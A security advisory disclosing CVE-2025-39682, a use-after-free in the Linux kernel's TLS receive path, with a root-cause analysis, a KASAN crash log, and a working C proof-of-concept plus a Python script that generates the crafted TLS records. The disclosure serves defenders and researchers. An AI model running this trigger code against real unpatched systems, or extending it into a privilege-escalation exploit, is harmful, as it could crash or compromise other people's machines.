(CVE-2025-39682) Linux Kernel net/tls Use-After-Free in tls_sw_recvmsg Leading to Privilege Escalation

CVE: CVE-2025-39682

Affected Versions: Linux kernel 6.0 through 6.1.148; 6.2 through 6.6.102; 6.7 through 6.12.43; 6.13 through 6.16.3; 6.17-rc1 and 6.17-rc2

CVSS3.1: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Summary

Product Linux Kernel (net/tls)
Vendor Linux
Severity High — a local unprivileged attacker may exploit the vulnerability to elevate privileges to root
Affected Versions Linux 6.0–6.1.148; 6.2–6.6.102; 6.7–6.12.43; 6.13–6.16.3; 6.17-rc1 and 6.17-rc2
Tested Versions Linux 6.12.41
CVE Identifier CVE-2025-39682
CVE Description A use-after-free vulnerability in the Linux kernel net/tls can be exploited to achieve local privilege escalation
CWE Classification(s) CWE-416: Use After Free

CVSS3.1 Scoring System

Base Score: 7.1 (High) Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) High

Product Background

The Linux kernel’s net/tls subsystem implements kernel-side TLS record processing. When a socket is configured with TCP_ULP set to "tls", receive-path processing is handled by tls_sw_recvmsg, which decrypts incoming TLS records and delivers plaintext to the caller. The stream parser (strp) maintains an anchor SKB (strp->anchor) to track in-progress records during zero-copy decryption.

Technical Details

In tls_sw_recvmsg, when copied == 0 the function loops to receive additional packets. A zero-length decrypted TLS record can produce this condition, causing the loop to continue:

if (len <= copied || (copied && control != TLS_RECORD_TYPE_DATA) || rx_more)
    goto end;

On the next iteration, if the new record’s content type differs from the previously established control value, tls_record_content_type returns 0:

static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm,
                                   u8 *control)
{
    int err;

    if (!*control) {
        *control = tlm->control;
        if (!*control)
            return -EBADMSG;

        err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE,
                       sizeof(*control), control);
        if (*control != TLS_RECORD_TYPE_DATA) {
            if (err || msg->msg_flags & MSG_CTRUNC)
                return -EIO;
        }
    } else if (*control != tlm->control) {
        return 0;
    }

    return 1;
}

When tls_record_content_type returns 0 or a negative value, the error path queues darg.skb (which is strp->anchor) into ctx->rx_list:

err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
    DEBUG_NET_WARN_ON_ONCE(darg.zc);
    tls_rx_rec_done(ctx);
put_on_rx_list_err:
    __skb_queue_tail(&ctx->rx_list, darg.skb);
    goto recv_end;
}

The critical issue is that when darg.zc == 1 (zero-copy mode is active), queuing darg.skb into rx_list is forbidden. Doing so corrupts strp->anchor->frag_list and the anchor’s reference count, leading to a use-after-free when the socket is subsequently closed and tls_sw_release_resources_rx walks the freed memory.

KASAN confirms the UAF at kfree_skb_list_reason, triggered during tls_sw_release_resources_rxskb_release_data on socket close. The SKB was originally allocated by tcp_sendmsg_locked and freed by tls_strp_msg_done inside tls_sw_recvmsg before the erroneous re-queue.

The trigger sequence is:

  1. Send a TLS Application Data record (type 0x17, “Hello world”).
  2. Send a zero-length TLS Handshake record (type 0x16, empty plaintext).
  3. Partially consume the first record with read(conn, buf, 0x100) — leaving copied == 0 on the next call.
  4. Send a second Application Data record (type 0x17).
  5. Call recvmsg — the content-type mismatch between the handshake record and the subsequent application data triggers the buggy rx_list enqueue with darg.zc == 1.
  6. Close the socket — UAF fires in tls_sw_release_resources_rx.

Proof-Of-Concept Crash log

  • Run poc under Linux 6.12.41
[   11.228748] BUG: KASAN: slab-use-after-free in kfree_skb_list_reason+0x47d/0x5d0
[   11.230499] Read of size 8 at addr ffff8881090dd260 by task poc/420

[   11.232211] CPU: 7 UID: 1000 PID: 420 Comm: poc Not tainted 6.12.41+ #17
[   11.232216] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   11.232242] Call Trace:
[   11.232261]  <TASK>
[   11.232273]  dump_stack_lvl+0x66/0x80
[   11.232373]  print_report+0xc1/0x600
[   11.232410]  ? kfree_skb_list_reason+0x47d/0x5d0
[   11.232413]  kasan_report+0xaf/0xe0
[   11.232416]  ? kfree_skb_list_reason+0x47d/0x5d0
[   11.232419]  kfree_skb_list_reason+0x47d/0x5d0
[   11.232422]  ? __pfx_kfree_skb_list_reason+0x10/0x10
[   11.232425]  ? __pfx_____sys_recvmsg+0x10/0x10
[   11.232462]  ? _copy_from_user+0x2f/0x90
[   11.232480]  ? copy_msghdr_from_user+0xbf/0x120
[   11.232492]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[   11.232495]  ? tls_setsockopt+0x311/0x12e0
[   11.232498]  skb_release_data+0x4e4/0x820
[   11.232502]  ? tls_sw_release_resources_rx+0x17e/0x390
[   11.232504]  sk_skb_reason_drop+0xf3/0x330
[   11.232507]  tls_sw_release_resources_rx+0x17e/0x390
[   11.232510]  ? __pfx_sock_write_iter+0x10/0x10
[   11.232513]  tls_sk_proto_close+0x4f5/0xa60
[   11.232515]  ? __pfx_tls_sk_proto_close+0x10/0x10
[   11.232517]  ? down_write+0xa9/0x120
[   11.232546]  ? __pfx_down_write+0x10/0x10
[   11.232548]  inet_release+0x109/0x270
[   11.232566]  __sock_release+0xa6/0x260
[   11.232578]  sock_close+0x15/0x20
[   11.232581]  __fput+0x2ef/0x9e0
[   11.232599]  __x64_sys_close+0x7c/0xd0
[   11.232610]  do_syscall_64+0x5a/0x120
[   11.232622]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   11.232656] RIP: 0033:0x2a2a47
[   11.232727] Code: ff ff f7 d8 64 89 02 b8 ff ff ff ff eb d4 e8 70 3a 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 c3 6a fc ff
[   11.232730] RSP: 002b:00007ffe8cedf5a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000003
[   11.232749] RAX: ffffffffffffffda RBX: 00007ffe8cee0cd8 RCX: 00000000002a2a47
[   11.232751] RDX: 0000000000000000 RSI: 00007ffe8cedf600 RDI: 0000000000000005
[   11.232752] RBP: 00007ffe8cee0ae0 R08: 0000000000000028 R09: 0000000000000004
[   11.232754] R10: 00007ffe8cedf570 R11: 0000000000000246 R12: 0000000000000001
[   11.232755] R13: 00007ffe8cee0cc8 R14: 00000000002c2cc8 R15: 0000000000000001
[   11.232759]  </TASK>

[   11.279477] Allocated by task 420:
[   11.280127]  kasan_save_stack+0x24/0x50
[   11.280138]  kasan_save_track+0x14/0x30
[   11.280140]  __kasan_slab_alloc+0x59/0x70
[   11.280142]  kmem_cache_alloc_node_noprof+0x130/0x320
[   11.280166]  __alloc_skb+0x234/0x310
[   11.280169]  tcp_stream_alloc_skb+0x30/0x520
[   11.280188]  tcp_sendmsg_locked+0x8d5/0x36a0
[   11.280190]  tcp_sendmsg+0x2c/0x50
[   11.280192]  sock_write_iter+0x441/0x560
[   11.280195]  vfs_write+0x8d1/0xc70
[   11.280198]  ksys_write+0x16f/0x1c0
[   11.280200]  do_syscall_64+0x5a/0x120
[   11.280204]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

[   11.280457] Freed by task 420:
[   11.280907]  kasan_save_stack+0x24/0x50
[   11.281522]  kasan_save_track+0x14/0x30
[   11.281528]  kasan_save_free_info+0x3b/0x60
[   11.281530]  __kasan_slab_free+0x38/0x50
[   11.281532]  kmem_cache_free+0x1be/0x4e0
[   11.281535]  tcp_read_done+0x15d/0x620
[   11.281538]  tls_strp_msg_done+0xa2/0x140
[   11.281596]  tls_sw_recvmsg+0x1060/0x1530
[   11.281606]  inet_recvmsg+0x36a/0x470
[   11.281608]  sock_recvmsg+0x1a6/0x250
[   11.281610]  ____sys_recvmsg+0x1ba/0x750
[   11.281612]  ___sys_recvmsg+0xd3/0x150
[   11.281615]  __sys_recvmsg+0xca/0x160
[   11.281617]  do_syscall_64+0x5a/0x120
[   11.281620]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

Source code

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>

#define SYSCHK(x) ({              \
	typeof(x) __res = (x);        \
	if (__res == (typeof(x))-1)   \
		err(1, "SYSCHK(" #x ")"); \
	__res;                        \
})

#define PORT 4444

void setup_tls(int sock)
{
	struct tls12_crypto_info_aes_ccm_128 crypto = {0};
	crypto.info.version = TLS_1_2_VERSION;
	crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
	SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
	SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}

int main(int argc, char **argv)
{

	char control[1024];
	char buf[4096];

	int listener, conn, client;
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_port = htons(PORT),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK)};

	socklen_t len = sizeof(addr);

	setvbuf(stdout, 0, 2, 0);

	listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
	if (listener < 0)
	{
		perror("socket listener");
		exit(1);
	}

	SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));

	SYSCHK(listen(listener, 1));

	client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));

	SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));

	conn = SYSCHK(accept(listener, NULL, 0));

	setup_tls(conn);

	/* MESSAGE 1: Raw TLS 1.2 record for plaintext: 'Hello world' */
	/* Sequence Number: 0 */
	/* Total length: 40 bytes */
	unsigned char tls_record_1[] = {
		0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, 0x29, 0x6c, 0xb1, 0xaf,
		0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f,
		0xf9, 0xcc, 0x3b, 0x42};
	unsigned int tls_record_1_len = sizeof(tls_record_1);

	/* MESSAGE 2: Raw TLS 1.2 record for plaintext: '' */
	/* Sequence Number: 1 */
	/* Total length: 29 bytes */
	unsigned char tls_record_2[] = {
		0x16, 0x03, 0x03, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x01, 0x3e, 0xf0, 0xfe, 0xee, 0xd9, 0xe2, 0x5d, 0xc7, 0x11, 0x4c, 0xe6,
		0xb4, 0x7e, 0xef, 0x40, 0x2b};
	unsigned int tls_record_2_len = sizeof(tls_record_2);

	/* MESSAGE 3: Raw TLS 1.2 record for plaintext: 'Hello world' */
	/* Sequence Number: 2 */
	/* Total length: 40 bytes */
	unsigned char tls_record_3[] = {
		0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, 0xb6, 0xff, 0x79, 0x87,
		0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a,
		0x55, 0x62, 0x65, 0x11};

	unsigned int tls_record_3_len = sizeof(tls_record_3);

	write(client, tls_record_1, sizeof(tls_record_1));

	write(client, tls_record_2, sizeof(tls_record_2));

	int n = read(conn, buf, 0x100);

	write(client, tls_record_3, sizeof(tls_record_3));

	struct iovec iov = {
		.iov_base = buf,
		.iov_len = sizeof(buf),
	};

	struct msghdr lmsg = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
		.msg_flags = 0,
	};

	n = recvmsg(conn, &lmsg, 0);

	close(conn);

	return 0;
}

Python script to generate tls_record with content type [0x17, 0x16, 0x17], the second tls_record have zero length.

from Crypto.Cipher import AES
import struct

def generate_tls_record(plaintext, key, salt, rec_seq_int, content_type=b'\x17'):
    """
    Generates a raw TLS 1.2 record with AES-CCM-128 encryption.

    Args:
        plaintext (bytes): The data to encrypt.
        key (bytes): The 128-bit (16-byte) encryption key.
        salt (bytes): The 4-byte salt.
        rec_seq_int (int): The record sequence number as an integer.
        content_type (bytes, optional): The TLS record content type. 
                                        Defaults to b'\x17' (Application Data).

    Returns:
        bytes: The raw TLS 1.2 record.
    """
    # Convert the integer sequence number to an 8-byte big-endian byte string
    rec_seq_bytes = rec_seq_int.to_bytes(8, 'big')

    # TLS protocol version for TLS 1.2
    tls_version = b'\x03\x03'

    # The 12-byte nonce is the 4-byte salt plus the 8-byte explicit sequence number
    nonce = salt + rec_seq_bytes

    # Construct the Additional Authenticated Data (AAD) for integrity protection
    # AAD = seq_num + TLSCompressed.type + TLSCompressed.version + TLSCompressed.length
    aad = rec_seq_bytes + content_type + tls_version + struct.pack('!H', len(plaintext))

    # Initialize AES-CCM cipher with a 16-byte (128-bit) authentication tag
    cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=16)
    
    # Provide the AAD to the cipher
    cipher.update(aad)
    
    # Encrypt the plaintext and get the authentication tag
    ciphertext, tag = cipher.encrypt_and_digest(plaintext)

    # The encrypted payload for AEAD ciphers in TLS is: nonce_explicit + aead_ciphertext
    encrypted_payload = rec_seq_bytes + ciphertext + tag

    # Construct the 5-byte TLS record header: Type (1) + Version (2) + Length (2)
    record_header = content_type + tls_version + struct.pack('!H', len(encrypted_payload))

    # The final raw TLS record to be sent
    raw_tls_record = record_header + encrypted_payload

    return raw_tls_record

def format_as_c_array(data, var_name="tls_record"):
    """Formats a bytes object into a C-style unsigned char array."""
    hex_values = [f"0x{byte:02x}" for byte in data]
    c_array = f"unsigned char {var_name}[] = {{\n    "
    
    for i in range(0, len(hex_values), 12):
        line = ", ".join(hex_values[i:i+12])
        c_array += line
        if i + 12 < len(hex_values):
            c_array += ",\n    "
    
    c_array += "\n};\n"
    c_array += f"unsigned int {var_name}_len = sizeof({var_name});"
    
    return c_array

if __name__ == '__main__':
    # Static parameters
    key = b'\x00' * 16
    salt = b'\x00' * 4
    
    # Define an array of plaintexts to send (already as bytes)
    plaintexts = [
        b"Hello world",
        b"",
        b"Hello world"
    ]
    content_types = [b"\x17", b"\x16", b"\x17"]
    
    # Initialize the record sequence number
    current_sequence_number = 0

    # Loop through plaintexts and generate records
    for i, plaintext_bytes in enumerate(plaintexts):
        
        # Generate the TLS record. We don't need to pass content_type
        # as we are using the default value (0x17).
        tls_record = generate_tls_record(
            plaintext_bytes, 
            key, 
            salt, 
            current_sequence_number,
            content_types[i]
        )
        
        # Format the output as a unique C array
        c_array_output = format_as_c_array(tls_record, f"tls_record_{i+1}")
        
        # We decode the plaintext bytes here only for the comment generation
        print(f"/* MESSAGE {i+1}: Raw TLS 1.2 record for plaintext: '{plaintext_bytes.decode()}' */")
        print(f"/* Sequence Number: {current_sequence_number} */")
        print(f"/* Total length: {len(tls_record)} bytes */")
        print(c_array_output)
        print("\n" + "="*50 + "\n")
        
        # CRITICAL: Increment the sequence number for the next message
        current_sequence_number += 1

Credit

Billy Jheng Bing-Jhong and Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.

Timeline

  • 2025-08-12 — Vulnerability reported to Linux kernel security team
  • 2025-09-05 — Patch released; CVE-2025-39682 published